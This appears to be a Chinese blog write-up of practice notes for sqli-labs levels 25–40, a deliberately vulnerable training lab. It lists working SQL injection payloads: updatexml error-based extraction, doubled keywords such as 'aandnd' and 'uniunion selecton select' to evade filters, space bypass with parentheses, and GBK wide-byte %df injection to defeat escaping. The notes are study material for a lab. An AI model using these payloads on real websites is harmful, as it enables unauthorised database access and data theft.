sqli-labs练习(25~40)

本文详细描述了SQL注入的各种技术,包括基础注入中的单词绕过、空格和注释过滤,以及如何通过双写、连接符号和宽字节编码进行绕过。还提及了在不同编码环境下的特定注入方法和检测挑战。
摘要由CSDN通过智能技术生成

如有错误,欢迎各位师傅指正,感谢~❀❀

25,25a————所有“and”“or”都会被过滤掉,但只过滤一次;并且大写无法绕过,所以用双写绕过的方法

(25是' -- r;25a是数字注入)

?id=1' aandnd 1=2 -- r //验证注入点
?id=-1' union select 1,2,3 -- r
...方法即基础注入方式

需要注意:注入是单词含有“and”“or”的地方都要双写,否则被系统滤过就会报错。

26,26a————所有空格和注释都会被过滤

空格的其他符号都会被过滤掉,用基本注入时使用括号(不知道是我的命令错误还是本身就不适合使用基本注入的方式) 
但26a不显示报错信息,所以不能使用报错注入(使用盲注吧) 
语句连接:使用双写and和or或者使用连接符号 
连接符号————“ || ”

①
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))||'1=1
②
?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))anandd'1=1

//其余步骤略

27,27a————过滤掉空格、注释符和union,select

总结:空格绕过用括号方法结合连接符号或and连接语句: 
字段绕过尝试大小写或者双写(或多写几次,这取决于它会将命令过滤几次) 

?id=1'and(updatexml(1,concat(0x7e,(selecseleselectctt(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and'1=1

★有些时候判断注入点需要用(?id=1"and"1"="1)或者(?id=1"and"0)不能(?id=1"and"1=1)还有就是,要记得判断是数字型还是字符型

(27a不显示报错信息,使用盲注吧)

28————过滤空格和union select,无法显示报错信息,使用盲注

过滤(union select时,过滤的是(union select)而不是(union 和 select)使用“ uniunion selecton select ”绕过)

28a————只过滤union select

直接基础注入,只需要将union select双写 
但在最后一步出现了问题

?id=-1') uniunion selecton select 1,2,3 and ('0
...
?id=-1') uniunion selecton select 1,2,group_concat(username) from users and ('0  
 //在这一步出现报错

在源码中查看时发现了问题,当语句执行时代码变为如下: 

此时LIMIT 0,1生效,产生报错 
解决方法:在本关并没有过滤一些注释符号,换一种方式表达,注释掉后面的LIMIT 0,1就可以了。

?id=-1') uniunion selecton select 1,2,group_concat(username) from users -- r

29,30,31————基础注入

不知道是不是我的靶场有问题,这三关就是最基本的注入,没有什么特殊的地方。

下面是29:

宽字节注入 :
在MYSQL为GBK编码时————使用 %df 绕过 addslashes() 函数或开启了魔术单引号

32,33————宽字节注入:“ %df ”绕过

值得注意的是在爆表时我们会使用'users'或"users",此时的单引号或双引号会被加上“ \ ”符号
解决方法: 
1.直接将'users'转成十六进制编码:(ASCII编码十六进制为“7573657273”在前面加上0x)

?id=-1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273%20--%20r

2.子查询

?id=-1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1)%20--%20r

34————宽字节注入

(我不明白,我找注入点的时候一直报错,但这个地方可以注入)

35,36,37————宽字节(但是35是数字型,只需要注意爆列时将其转化成十六进制就行)

38————基础注入(攻略说可以使用堆叠注入,但我还没学好,不知道咋用)

39————基础注入(数字型)

40————基础注入(但不显示报错信息)

  • 26
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值